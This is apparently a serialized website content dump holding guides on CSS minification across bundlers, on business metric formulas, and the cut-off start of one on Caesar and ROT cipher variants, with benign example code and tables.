",[143,20836,20837],{},"rollup-plugin-postcss"," for CSS handling:",[135,20840,20842],{"className":1607,"code":20841,"language":1609,"meta":141,"style":141},"import postcss from 'rollup-plugin-postcss'\n\nexport default {\n  plugins: [\n    postcss({\n      minimize: true,\n      extract: 'styles.css',\n    }),\n  ],\n}\n",[143,20843,20844,20856,20860,20868,20872,20879,20888,20898,20902,20906],{"__ignoreMap":141},[1560,20845,20846,20848,20851,20853],{"class":1562,"line":1563},[1560,20847,8162],{"class":1669},[1560,20849,20850],{"class":1570}," postcss ",[1560,20852,8168],{"class":1669},[1560,20854,20855],{"class":5634}," 'rollup-plugin-postcss'\n",[1560,20857,20858],{"class":1562,"line":337},[1560,20859,1702],{"emptyLinePlaceholder":363},[1560,20861,20862,20864,20866],{"class":1562,"line":343},[1560,20863,9187],{"class":1669},[1560,20865,11837],{"class":1669},[1560,20867,1571],{"class":1570},[1560,20869,20870],{"class":1562,"line":365},[1560,20871,12020],{"class":1570},[1560,20873,20874,20877],{"class":1562,"line":889},[1560,20875,20876],{"class":1566},"    postcss",[1560,20878,17525],{"class":1570},[1560,20880,20881,20884,20886],{"class":1562,"line":1710},[1560,20882,20883],{"class":1570},"      minimize: ",[1560,20885,20533],{"class":1576},[1560,20887,11943],{"class":1570},[1560,20889,20890,20893,20896],{"class":1562,"line":1717},[1560,20891,20892],{"class":1570},"      extract: ",[1560,20894,20895],{"class":5634},"'styles.css'",[1560,20897,11943],{"class":1570},[1560,20899,20900],{"class":1562,"line":1747},[1560,20901,12049],{"class":1570},[1560,20903,20904],{"class":1562,"line":2507},[1560,20905,12054],{"class":1570},[1560,20907,20908],{"class":1562,"line":2524},[1560,20909,1585],{"class":1570},[16,20911,20912,20913,20915],{},"By default it uses ",[143,20914,20497],{},". You can pass custom PostCSS plugins for different minifiers.",[16,20917,20918,20920,20921,20923],{},[47,20919,7444],{},": Simple API when you just need basic CSS extraction and minification\n",[47,20922,7447],{},": Less ecosystem support than Webpack for CSS-specific features like code splitting",[33,20925,20926],{"id":20926},"esbuild",[16,20928,20929],{},"esbuild can bundle CSS but has limited minification capabilities:",[135,20931,20933],{"className":6951,"code":20932,"language":6953,"meta":141,"style":141},"esbuild app.css --bundle --minify --outfile=dist\u002Fapp.css\n",[143,20934,20935],{"__ignoreMap":141},[1560,20936,20937,20939,20942,20945,20948],{"class":1562,"line":1563},[1560,20938,20926],{"class":1566},[1560,20940,20941],{"class":5634}," app.css",[1560,20943,20944],{"class":1576}," --bundle",[1560,20946,20947],{"class":1576}," --minify",[1560,20949,20950],{"class":1576}," --outfile=dist\u002Fapp.css\n",[16,20952,20953],{},"esbuild's CSS minification is fast but basic — it removes whitespace and comments but doesn't perform advanced optimizations like merging longhand properties or converting colors.",[16,20955,20956,20958,20959,20961],{},[47,20957,7444],{},": Extremely fast — processes large CSS files近乎瞬间\n",[47,20960,7447],{},": No advanced optimizations, no PostCSS plugin support for CSS minification",[11,20963,20965],{"id":20964},"output-size-comparison","Output Size Comparison",[16,20967,20968],{},"These results come from minifying a 150 KB CSS file (Tailwind output + custom styles):",[193,20970,20971,20986],{},[196,20972,20973],{},[199,20974,20975,20977,20980,20983],{},[202,20976,751],{},[202,20978,20979],{},"Output Size",[202,20981,20982],{},"Minification Ratio",[202,20984,20985],{},"Build Time",[211,20987,20988,20999,21012,21025,21039],{},[199,20989,20990,20993,20995,20997],{},[216,20991,20992],{},"Unminified",[216,20994,13037],{},[216,20996,3060],{},[216,20998,3060],{},[199,21000,21001,21003,21006,21009],{},[216,21002,20926],{},[216,21004,21005],{},"112 KB",[216,21007,21008],{},"25%",[216,21010,21011],{},"15ms",[199,21013,21014,21017,21020,21022],{},[216,21015,21016],{},"cssnano (default)",[216,21018,21019],{},"105 KB",[216,21021,2173],{},[216,21023,21024],{},"850ms",[199,21026,21027,21030,21033,21036],{},[216,21028,21029],{},"cssnano (advanced)",[216,21031,21032],{},"100 KB",[216,21034,21035],{},"33%",[216,21037,21038],{},"1200ms",[199,21040,21041,21043,21046,21049],{},[216,21042,20553],{},[216,21044,21045],{},"102 KB",[216,21047,21048],{},"32%",[216,21050,21051],{},"45ms",[16,21053,21054,1663,21057,21059,21060,21062,21063,1856,21065,21067],{},[47,21055,21056],{},"Takeaway",[143,21058,20553],{}," achieves near-",[143,21061,20497],{}," quality at 20× the speed. For most projects, the 2–3 KB difference between ",[143,21064,20553],{},[143,21066,20497],{}," isn't worth the build time penalty.",[11,21069,21071],{"id":21070},"choosing-based-on-project-needs","Choosing Based on Project Needs",[193,21073,21074,21087],{},[196,21075,21076],{},[199,21077,21078,21081,21084],{},[202,21079,21080],{},"Scenario",[202,21082,21083],{},"Recommended Setup",[202,21085,21086],{},"Why",[211,21088,21089,21102,21117,21130,21141],{},[199,21090,21091,21094,21099],{},[216,21092,21093],{},"New project, any framework",[216,21095,21096,21097],{},"Vite + ",[143,21098,20553],{},[216,21100,21101],{},"Best speed-to-quality ratio",[199,21103,21104,21107,21114],{},[216,21105,21106],{},"Existing Webpack project",[216,21108,21109,21111,21112],{},[143,21110,20637],{}," + ",[143,21113,20497],{},[216,21115,21116],{},"No migration needed",[199,21118,21119,21122,21127],{},[216,21120,21121],{},"Library build (small CSS)",[216,21123,21124,21125],{},"Rollup + ",[143,21126,20497],{},[216,21128,21129],{},"Clean output, tree-shaking",[199,21131,21132,21135,21138],{},[216,21133,21134],{},"Ultra-fast CI builds",[216,21136,21137],{},"esbuild CSS minify",[216,21139,21140],{},"Speed matters more than 5% size difference",[199,21142,21143,21146,21151],{},[216,21144,21145],{},"Maximum compression",[216,21147,21148,21150],{},[143,21149,20497],{}," advanced preset",[216,21152,21153],{},"Every byte counts (mobile, embedded)",[11,21155,21157],{"id":21156},"advanced-custom-cssnano-configuration","Advanced: Custom cssnano Configuration",[16,21159,21160],{},"If you need specific optimizations enabled or disabled:",[135,21162,21164],{"className":1607,"code":21163,"language":1609,"meta":141,"style":141},"\u002F\u002F postcss.config.js\nmodule.exports = {\n  plugins: [\n    require('cssnano')({\n      preset: [\n        'advanced',\n        {\n          discardComments: { removeAll: true },\n          mergeLonghand: true,\n          cssDeclarationSorter: false,  \u002F\u002F Disable if order matters for specificity\n          reduceIdents: false,          \u002F\u002F Disable to preserve animation names\n        },\n      ],\n    }),\n  ],\n}\n",[143,21165,21166,21170,21182,21186,21197,21202,21209,21214,21224,21233,21245,21258,21262,21267,21271,21275],{"__ignoreMap":141},[1560,21167,21168],{"class":1562,"line":1563},[1560,21169,12003],{"class":1649},[1560,21171,21172,21174,21176,21178,21180],{"class":1562,"line":337},[1560,21173,11885],{"class":1576},[1560,21175,468],{"class":1570},[1560,21177,11890],{"class":1576},[1560,21179,8186],{"class":1669},[1560,21181,1571],{"class":1570},[1560,21183,21184],{"class":1562,"line":343},[1560,21185,12020],{"class":1570},[1560,21187,21188,21190,21192,21195],{"class":1562,"line":365},[1560,21189,12025],{"class":1566},[1560,21191,1688],{"class":1570},[1560,21193,21194],{"class":5634},"'cssnano'",[1560,21196,12033],{"class":1570},[1560,21198,21199],{"class":1562,"line":889},[1560,21200,21201],{"class":1570},"      preset: [\n",[1560,21203,21204,21207],{"class":1562,"line":1710},[1560,21205,21206],{"class":5634},"        'advanced'",[1560,21208,11943],{"class":1570},[1560,21210,21211],{"class":1562,"line":1717},[1560,21212,21213],{"class":1570},"        {\n",[1560,21215,21216,21219,21221],{"class":1562,"line":1747},[1560,21217,21218],{"class":1570},"          discardComments: { removeAll: ",[1560,21220,20533],{"class":1576},[1560,21222,21223],{"class":1570}," },\n",[1560,21225,21226,21229,21231],{"class":1562,"line":2507},[1560,21227,21228],{"class":1570},"          mergeLonghand: ",[1560,21230,20533],{"class":1576},[1560,21232,11943],{"class":1570},[1560,21234,21235,21238,21240,21242],{"class":1562,"line":2524},[1560,21236,21237],{"class":1570},"          cssDeclarationSorter: ",[1560,21239,13730],{"class":1576},[1560,21241,20536],{"class":1570},[1560,21243,21244],{"class":1649},"\u002F\u002F Disable if order matters for specificity\n",[1560,21246,21247,21250,21252,21255],{"class":1562,"line":2529},[1560,21248,21249],{"class":1570},"          reduceIdents: ",[1560,21251,13730],{"class":1576},[1560,21253,21254],{"class":1570},",          ",[1560,21256,21257],{"class":1649},"\u002F\u002F Disable to preserve animation names\n",[1560,21259,21260],{"class":1562,"line":2534},[1560,21261,20786],{"class":1570},[1560,21263,21264],{"class":1562,"line":2542},[1560,21265,21266],{"class":1570},"      ],\n",[1560,21268,21269],{"class":1562,"line":2558},[1560,21270,12049],{"class":1570},[1560,21272,21273],{"class":1562,"line":2570},[1560,21274,12054],{"class":1570},[1560,21276,21277],{"class":1562,"line":6638},[1560,21278,1585],{"class":1570},[16,21280,21281],{},"Common options to toggle:",[41,21283,21284,21296,21302],{},[44,21285,21286,21289,21290,1856,21292,21295],{},[143,21287,21288],{},"reduceIdents",": Renames ",[143,21291,19946],{},[143,21293,21294],{},"@counter-style"," identifiers — disable if you reference them from JavaScript",[44,21297,21298,21301],{},[143,21299,21300],{},"cssDeclarationSorter",": Reorders declarations — disable if property order affects your overrides",[44,21303,21304,21307],{},[143,21305,21306],{},"autoprefixer",": Add vendor prefixes during minification rather than as a separate step",[11,21309,1355],{"id":1354},[41,21311,21312,21315,21320,21325,21328,21334],{},[44,21313,21314],{},"CSS minification typically reduces file size by 20–30%",[44,21316,21096,21317,21319],{},[143,21318,20553],{}," offers the best speed-to-quality ratio for most projects",[44,21321,21322,21324],{},[143,21323,20497],{}," with advanced preset achieves maximum compression but is significantly slower",[44,21326,21327],{},"esbuild minifies CSS instantly but skips advanced optimizations like shorthand merging",[44,21329,21330,21331,21333],{},"Webpack requires explicit ",[143,21332,20637],{}," configuration",[44,21335,21336,21337,1856,21339,21341],{},"Be cautious with ",[143,21338,21288],{},[143,21340,21300],{}," — they can break JavaScript-referenced animation names and specificity-dependent overrides",[11,21343,321],{"id":320},[41,21345,21346,21352,21358],{},[44,21347,21348],{},[98,21349,21351],{"href":21350},"\u002Fguides\u002Fcss-minification-guide","CSS Minification Guide",[44,21353,21354],{},[98,21355,21357],{"href":21356},"\u002Fguides\u002Fcss-compression-techniques","CSS Compression Techniques",[44,21359,21360],{},[98,21361,21363],{"href":21362},"\u002Fguides\u002Fcss-critical-path-optimization","CSS Critical Path Optimization",[11,21365,286],{"id":285},[16,21367,21368,21369,21373],{},"Minify your CSS instantly with our free ",[98,21370,21372],{"href":21371},"\u002Ftools\u002Fcss-minifier","CSS Minifier",". Paste your stylesheet and get optimized output in one click — no build setup required.",[2043,21375,21376],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":21378},[21379,21380,21381,21387,21388,21389,21390,21391,21392],{"id":20336,"depth":337,"text":20337},{"id":20346,"depth":337,"text":20347},{"id":20487,"depth":337,"text":20488,"children":21382},[21383,21384,21385,21386],{"id":20491,"depth":343,"text":9643},{"id":20626,"depth":343,"text":20627},{"id":20830,"depth":343,"text":20831},{"id":20926,"depth":343,"text":20926},{"id":20964,"depth":337,"text":20965},{"id":21070,"depth":337,"text":21071},{"id":21156,"depth":337,"text":21157},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare CSS minification across Vite, Webpack, Rollup, and esbuild — output sizes, configuration, and tradeoffs for each bundler.",{"immutable":363},"\u002Fguides\u002Fbuild-tool-css-minification-compared",{"title":20331,"description":21393},"guides\u002Fbuild-tool-css-minification-compared","rQBK2hsDQUbmVbK1R2ilIll-S_EQfZgu43rCQaHwBa8",{"id":21400,"title":21401,"body":21402,"date":2070,"description":21921,"extension":361,"meta":21922,"navigation":363,"path":21923,"readingTime":889,"seo":21924,"stem":21925,"__hash__":21926},"guides\u002Fguides\u002Fbusiness-metric-calculations.md","Business Metric Calculations",{"type":8,"value":21403,"toc":21910},[21404,21408,21411,21415,21418,21424,21429,21435,21492,21495,21501,21508,21512,21515,21521,21526,21532,21535,21593,21596,21600,21603,21609,21614,21620,21623,21669,21673,21676,21682,21687,21693,21696,21734,21737,21741,21744,21750,21755,21761,21807,21810,21814,21817,21823,21828,21834,21878,21880,21900,21902],[11,21405,21407],{"id":21406},"metrics-that-drive-decisions","Metrics That Drive Decisions",[16,21409,21410],{},"Business metrics translate raw numbers into actionable insights. Revenue alone does not tell you whether your business is healthy — growth rate, margins, and unit economics do. Here are the calculations behind the metrics that matter most.",[11,21412,21414],{"id":21413},"revenue-growth-rate","Revenue Growth Rate",[16,21416,21417],{},"Growth rate measures how fast revenue (or any metric) is changing over time.",[135,21419,21422],{"className":21420,"code":21421,"language":140},[138],"Growth rate = ((Current period - Previous period) \u002F Previous period) × 100\n",[143,21423,21421],{"__ignoreMap":141},[16,21425,21426,21428],{},[47,21427,133],{},": Revenue went from $120,000 last quarter to $156,000 this quarter.",[135,21430,21433],{"className":21431,"code":21432,"language":140},[138],"Growth rate = ((156,000 - 120,000) \u002F 120,000) × 100 = 30%\n",[143,21434,21432],{"__ignoreMap":141},[193,21436,21437,21450],{},[196,21438,21439],{},[199,21440,21441,21444,21447],{},[202,21442,21443],{},"Period",[202,21445,21446],{},"Revenue",[202,21448,21449],{},"Growth Rate",[211,21451,21452,21462,21472,21482],{},[199,21453,21454,21457,21460],{},[216,21455,21456],{},"Q1",[216,21458,21459],{},"$100,000",[216,21461,3060],{},[199,21463,21464,21467,21470],{},[216,21465,21466],{},"Q2",[216,21468,21469],{},"$120,000",[216,21471,5301],{},[199,21473,21474,21477,21480],{},[216,21475,21476],{},"Q3",[216,21478,21479],{},"$156,000",[216,21481,2173],{},[199,21483,21484,21487,21490],{},[216,21485,21486],{},"Q4",[216,21488,21489],{},"$187,200",[216,21491,5301],{},[16,21493,21494],{},"Compound monthly growth rate (CMGR) smooths this over multiple periods:",[135,21496,21499],{"className":21497,"code":21498,"language":140},[138],"CMGR = (Ending value \u002F Starting value)^(1\u002Fmonths) - 1\n",[143,21500,21498],{"__ignoreMap":141},[16,21502,21503,21504,21507],{},"For Q1 to Q4: ",[143,21505,21506],{},"($187,200 \u002F $100,000)^(1\u002F9) - 1 = 7.2%"," per month.",[11,21509,21511],{"id":21510},"customer-acquisition-cost-cac","Customer Acquisition Cost (CAC)",[16,21513,21514],{},"CAC tells you how much you spend to acquire one customer.",[135,21516,21519],{"className":21517,"code":21518,"language":140},[138],"CAC = Total sales and marketing spend \u002F New customers acquired\n",[143,21520,21518],{"__ignoreMap":141},[16,21522,21523,21525],{},[47,21524,133],{},": You spent $50,000 on marketing and sales last month and acquired 200 new customers.",[135,21527,21530],{"className":21528,"code":21529,"language":140},[138],"CAC = $50,000 \u002F 200 = $250 per customer\n",[143,21531,21529],{"__ignoreMap":141},[16,21533,21534],{},"CAC by channel helps you allocate budget wisely:",[193,21536,21537,21552],{},[196,21538,21539],{},[199,21540,21541,21543,21546,21549],{},[202,21542,14076],{},[202,21544,21545],{},"Spend",[202,21547,21548],{},"New Customers",[202,21550,21551],{},"CAC",[211,21553,21554,21567,21580],{},[199,21555,21556,21559,21562,21564],{},[216,21557,21558],{},"Google Ads",[216,21560,21561],{},"$20,000",[216,21563,18034],{},[216,21565,21566],{},"$167",[199,21568,21569,21572,21575,21577],{},[216,21570,21571],{},"Content marketing",[216,21573,21574],{},"$15,000",[216,21576,18059],{},[216,21578,21579],{},"$300",[199,21581,21582,21585,21588,21590],{},[216,21583,21584],{},"Referrals",[216,21586,21587],{},"$5,000",[216,21589,5321],{},[216,21591,21592],{},"$63",[16,21594,21595],{},"Referrals deliver the lowest CAC. Content marketing needs optimization.",[11,21597,21599],{"id":21598},"customer-lifetime-value-ltv","Customer Lifetime Value (LTV)",[16,21601,21602],{},"LTV estimates total revenue from one customer over their entire relationship with you.",[135,21604,21607],{"className":21605,"code":21606,"language":140},[138],"LTV = Average revenue per user (ARPU) × Gross margin × Customer lifetime\nCustomer lifetime = 1 \u002F Churn rate\n",[143,21608,21606],{"__ignoreMap":141},[16,21610,21611,21613],{},[47,21612,133],{},": ARPU is $50\u002Fmonth, gross margin is 70%, monthly churn is 5%.",[135,21615,21618],{"className":21616,"code":21617,"language":140},[138],"Customer lifetime = 1 \u002F 0.05 = 20 months\nLTV = $50 × 0.70 × 20 = $700\n",[143,21619,21617],{"__ignoreMap":141},[16,21621,21622],{},"The LTV:CAC ratio determines sustainability:",[193,21624,21625,21635],{},[196,21626,21627],{},[199,21628,21629,21632],{},[202,21630,21631],{},"LTV:CAC",[202,21633,21634],{},"Interpretation",[211,21636,21637,21645,21653,21661],{},[199,21638,21639,21642],{},[216,21640,21641],{},"Below 1:1",[216,21643,21644],{},"Losing money on every customer",[199,21646,21647,21650],{},[216,21648,21649],{},"1:1 to 3:1",[216,21651,21652],{},"Marginal — difficult to grow",[199,21654,21655,21658],{},[216,21656,21657],{},"3:1 to 5:1",[216,21659,21660],{},"Healthy — efficient acquisition",[199,21662,21663,21666],{},[216,21664,21665],{},"Above 5:1",[216,21667,21668],{},"Under-investing in growth",[11,21670,21672],{"id":21671},"churn-rate","Churn Rate",[16,21674,21675],{},"Churn measures customer loss over a period.",[135,21677,21680],{"className":21678,"code":21679,"language":140},[138],"Churn rate = (Customers lost in period \u002F Customers at start of period) × 100\n",[143,21681,21679],{"__ignoreMap":141},[16,21683,21684,21686],{},[47,21685,133],{},": Started the month with 1,000 customers, lost 45.",[135,21688,21691],{"className":21689,"code":21690,"language":140},[138],"Churn rate = (45 \u002F 1,000) × 100 = 4.5%\n",[143,21692,21690],{"__ignoreMap":141},[16,21694,21695],{},"Revenue churn tells a different story than customer churn:",[193,21697,21698,21710],{},[196,21699,21700],{},[199,21701,21702,21704,21707],{},[202,21703,15609],{},[202,21705,21706],{},"Formula",[202,21708,21709],{},"What It Reveals",[211,21711,21712,21723],{},[199,21713,21714,21717,21720],{},[216,21715,21716],{},"Customer churn",[216,21718,21719],{},"Lost customers \u002F Starting customers",[216,21721,21722],{},"How many users leave",[199,21724,21725,21728,21731],{},[216,21726,21727],{},"Revenue churn",[216,21729,21730],{},"Lost MRR \u002F Starting MRR",[216,21732,21733],{},"How much revenue leaves",[16,21735,21736],{},"If high-paying customers churn faster, revenue churn exceeds customer churn — a warning sign.",[11,21738,21740],{"id":21739},"gross-margin","Gross Margin",[16,21742,21743],{},"Gross margin shows how much of each dollar is profit after direct costs.",[135,21745,21748],{"className":21746,"code":21747,"language":140},[138],"Gross margin = ((Revenue - Cost of goods sold) \u002F Revenue) × 100\n",[143,21749,21747],{"__ignoreMap":141},[16,21751,21752,21754],{},[47,21753,133],{},": $200,000 revenue, $80,000 COGS.",[135,21756,21759],{"className":21757,"code":21758,"language":140},[138],"Gross margin = (($200,000 - $80,000) \u002F $200,000) × 100 = 60%\n",[143,21760,21758],{"__ignoreMap":141},[193,21762,21763,21773],{},[196,21764,21765],{},[199,21766,21767,21770],{},[202,21768,21769],{},"Business Type",[202,21771,21772],{},"Typical Gross Margin",[211,21774,21775,21783,21791,21799],{},[199,21776,21777,21780],{},[216,21778,21779],{},"SaaS",[216,21781,21782],{},"70–85%",[199,21784,21785,21788],{},[216,21786,21787],{},"E-commerce",[216,21789,21790],{},"20–40%",[199,21792,21793,21796],{},[216,21794,21795],{},"Professional services",[216,21797,21798],{},"40–60%",[199,21800,21801,21804],{},[216,21802,21803],{},"Manufacturing",[216,21805,21806],{},"15–35%",[16,21808,21809],{},"Software companies operate at high gross margins because the cost of serving one more customer is nearly zero.",[11,21811,21813],{"id":21812},"conversion-rate","Conversion Rate",[16,21815,21816],{},"Conversion rate measures the percentage of visitors who complete a desired action.",[135,21818,21821],{"className":21819,"code":21820,"language":140},[138],"Conversion rate = (Conversions \u002F Total visitors) × 100\n",[143,21822,21820],{"__ignoreMap":141},[16,21824,21825,21827],{},[47,21826,133],{},": 10,000 landing page visitors, 350 signups.",[135,21829,21832],{"className":21830,"code":21831,"language":140},[138],"Conversion rate = (350 \u002F 10,000) × 100 = 3.5%\n",[143,21833,21831],{"__ignoreMap":141},[193,21835,21836,21845],{},[196,21837,21838],{},[199,21839,21840,21842],{},[202,21841,12083],{},[202,21843,21844],{},"Typical Conversion Rate",[211,21846,21847,21854,21862,21870],{},[199,21848,21849,21852],{},[216,21850,21851],{},"SaaS free trial signup",[216,21853,16481],{},[199,21855,21856,21859],{},[216,21857,21858],{},"E-commerce purchase",[216,21860,21861],{},"1–3%",[199,21863,21864,21867],{},[216,21865,21866],{},"Newsletter signup",[216,21868,21869],{},"5–15%",[199,21871,21872,21875],{},[216,21873,21874],{},"Lead generation form",[216,21876,21877],{},"3–8%",[11,21879,1355],{"id":1354},[41,21881,21882,21885,21888,21891,21894,21897],{},[44,21883,21884],{},"Growth rate measures momentum; compound growth rate smooths volatility",[44,21886,21887],{},"CAC reveals acquisition efficiency — calculate it by channel for actionable insights",[44,21889,21890],{},"LTV depends on margin and retention — a high-ARPU customer who churns fast may have low LTV",[44,21892,21893],{},"LTV:CAC ratio above 3:1 signals a sustainable business model",[44,21895,21896],{},"Revenue churn and customer churn tell different stories — track both",[44,21898,21899],{},"Gross margin varies by industry; compare against benchmarks, not absolute numbers",[11,21901,286],{"id":285},[16,21903,21904,21905,21909],{},"Run these calculations instantly with our ",[98,21906,21908],{"href":21907},"\u002Ftools\u002Fpercentage-calculator","Percentage Calculator",". Enter your values for growth rate, margin, or churn — get results in one click.",{"title":141,"searchDepth":337,"depth":337,"links":21911},[21912,21913,21914,21915,21916,21917,21918,21919,21920],{"id":21406,"depth":337,"text":21407},{"id":21413,"depth":337,"text":21414},{"id":21510,"depth":337,"text":21511},{"id":21598,"depth":337,"text":21599},{"id":21671,"depth":337,"text":21672},{"id":21739,"depth":337,"text":21740},{"id":21812,"depth":337,"text":21813},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Calculate essential business metrics — growth rate, churn, CAC, LTV, margin, and conversion — with clear formulas and practical examples.",{"immutable":363},"\u002Fguides\u002Fbusiness-metric-calculations",{"title":21401,"description":21921},"guides\u002Fbusiness-metric-calculations","vadYj-1Ig04OKqdBLdGbtWVfd0mvz3Se-ui3AsrXYd0",{"id":21928,"title":21929,"body":21930,"date":2070,"description":22589,"extension":361,"meta":22590,"navigation":363,"path":22591,"readingTime":1717,"seo":22592,"stem":22593,"__hash__":22594},"guides\u002Fguides\u002Fcaesar-cipher-variations-explained.md","Caesar Cipher Variations Explained",{"type":8,"value":21931,"toc":22570},[21932,21936,21939,21942,21946,22045,22048,22052,22118,22122,22125,22131,22134,22188,22192,22195,22249,22252,22256,22331,22335,22338,22344,22347,22406,22410,22413,22417,22477,22480,22484,22487,22491,22494,22508,22511,22513,22536,22538,22558,22560,22568],[11,21933,21935],{"id":21934},"the-caesar-cipher-family","The Caesar Cipher Family",[16,21937,21938],{},"The Caesar cipher shifts every letter by a fixed number of positions in the alphabet. Julius Caesar reportedly used a shift of 3 — A became D, B became E. Modern variations use different shifts, creating the full family of 25 possible rotations.",[16,21940,21941],{},"ROT13 is the most famous member because it is self-inverse: encoding and decoding are the same operation. But every shift from 1 to 25 is a valid Caesar cipher with different properties.",[11,21943,21945],{"id":21944},"all-25-rotations","All 25 Rotations",[193,21947,21948,21967],{},[196,21949,21950],{},[199,21951,21952,21955,21958,21961,21964],{},[202,21953,21954],{},"Name",[202,21956,21957],{},"Shift",[202,21959,21960],{},"A→",[202,21962,21963],{},"Z→",[202,21965,21966],{},"Self-inverse?",[211,21968,21969,21984,21998,22012,22029],{},[199,21970,21971,21974,21976,21979,21982],{},[216,21972,21973],{},"ROT1",[216,21975,3585],{},[216,21977,21978],{},"B",[216,21980,21981],{},"A",[216,21983,6117],{},[199,21985,21986,21989,21991,21994,21996],{},[216,21987,21988],{},"ROT2",[216,21990,10099],{},[216,21992,21993],{},"C",[216,21995,21978],{},[216,21997,6117],{},[199,21999,22000,22003,22005,22008,22010],{},[216,22001,22002],{},"ROT3",[216,22004,17821],{},[216,22006,22007],{},"D",[216,22009,21993],{},[216,22011,6117],{},[199,22013,22014,22017,22019,22022,22025],{},[216,22015,22016],{},"ROT13",[216,22018,13525],{},[216,22020,22021],{},"N",[216,22023,22024],{},"M",[216,22026,22027],{},[47,22028,3057],{},[199,22030,22031,22034,22037,22040,22043],{},[216,22032,22033],{},"ROT25",[216,22035,22036],{},"25",[216,22038,22039],{},"Z",[216,22041,22042],{},"Y",[216,22044,6117],{},[16,22046,22047],{},"Only ROT13 is self-inverse. Every other rotation requires a separate decode step — shift forward to encode, shift backward to decode. That is why ROT13 dominates in practical use.",[33,22049,22051],{"id":22050},"quick-reference-for-common-shifts","Quick reference for common shifts",[193,22053,22054,22069],{},[196,22055,22056],{},[199,22057,22058,22060,22066],{},[202,22059,21957],{},[202,22061,22062,22065],{},[143,22063,22064],{},"hello"," becomes",[202,22067,22068],{},"Common name",[211,22070,22071,22082,22094,22106],{},[199,22072,22073,22075,22080],{},[216,22074,21973],{},[216,22076,22077],{},[143,22078,22079],{},"ifmmp",[216,22081,3060],{},[199,22083,22084,22086,22091],{},[216,22085,22002],{},[216,22087,22088],{},[143,22089,22090],{},"khoor",[216,22092,22093],{},"Classic Caesar",[199,22095,22096,22098,22103],{},[216,22097,22016],{},[216,22099,22100],{},[143,22101,22102],{},"uryyb",[216,22104,22105],{},"Self-inverse",[199,22107,22108,22110,22115],{},[216,22109,22033],{},[216,22111,22112],{},[143,22113,22114],{},"gdkkn",[216,22116,22117],{},"Reverse ROT1",[11,22119,22121],{"id":22120},"rot5-digits-only","ROT5: Digits Only",[16,22123,22124],{},"ROT5 applies the same rotation logic to the digits 0–9 instead of letters. Each digit shifts by 5 positions.",[135,22126,22129],{"className":22127,"code":22128,"language":140},[138],"0 1 2 3 4\n↕ ↕ ↕ ↕ ↕\n5 6 7 8 9\n",[143,22130,22128],{"__ignoreMap":141},[16,22132,22133],{},"Like ROT13, ROT5 is self-inverse: 5 + 5 = 10 wraps back around. Combining ROT13 on letters and ROT5 on digits produces ROT18 — a cipher that shifts both characters and numbers.",[135,22135,22137],{"className":8259,"code":22136,"language":8261,"meta":141,"style":141},"def rot5(text):\n    result = []\n    for char in text:\n        if '0' \u003C= char \u003C= '9':\n            result.append(chr((ord(char) - ord('0') + 5) % 10 + ord('0')))\n        else:\n            result.append(char)\n    return ''.join(result)\n\nrot5('Code 42')  # 'Code 97'\n",[143,22138,22139,22144,22149,22154,22159,22164,22169,22174,22179,22183],{"__ignoreMap":141},[1560,22140,22141],{"class":1562,"line":1563},[1560,22142,22143],{},"def rot5(text):\n",[1560,22145,22146],{"class":1562,"line":337},[1560,22147,22148],{},"    result = []\n",[1560,22150,22151],{"class":1562,"line":343},[1560,22152,22153],{},"    for char in text:\n",[1560,22155,22156],{"class":1562,"line":365},[1560,22157,22158],{},"        if '0' \u003C= char \u003C= '9':\n",[1560,22160,22161],{"class":1562,"line":889},[1560,22162,22163],{},"            result.append(chr((ord(char) - ord('0') + 5) % 10 + ord('0')))\n",[1560,22165,22166],{"class":1562,"line":1710},[1560,22167,22168],{},"        else:\n",[1560,22170,22171],{"class":1562,"line":1717},[1560,22172,22173],{},"            result.append(char)\n",[1560,22175,22176],{"class":1562,"line":1747},[1560,22177,22178],{},"    return ''.join(result)\n",[1560,22180,22181],{"class":1562,"line":2507},[1560,22182,1702],{"emptyLinePlaceholder":363},[1560,22184,22185],{"class":1562,"line":2524},[1560,22186,22187],{},"rot5('Code 42')  # 'Code 97'\n",[11,22189,22191],{"id":22190},"rot47-full-ascii-range","ROT47: Full ASCII Range",[16,22193,22194],{},"ROT47 shifts printable ASCII characters (codes 33–126) by 47 positions. It covers letters, digits, punctuation, and symbols — making it more versatile than ROT13 for obscuring technical content.",[135,22196,22198],{"className":8259,"code":22197,"language":8261,"meta":141,"style":141},"def rot47(text):\n    result = []\n    for char in text:\n        code = ord(char)\n        if 33 \u003C= code \u003C= 126:\n            result.append(chr(33 + (code - 33 + 47) % 94))\n        else:\n            result.append(char)\n    return ''.join(result)\n\nrot47('Hello World!')  # 'w6==@ 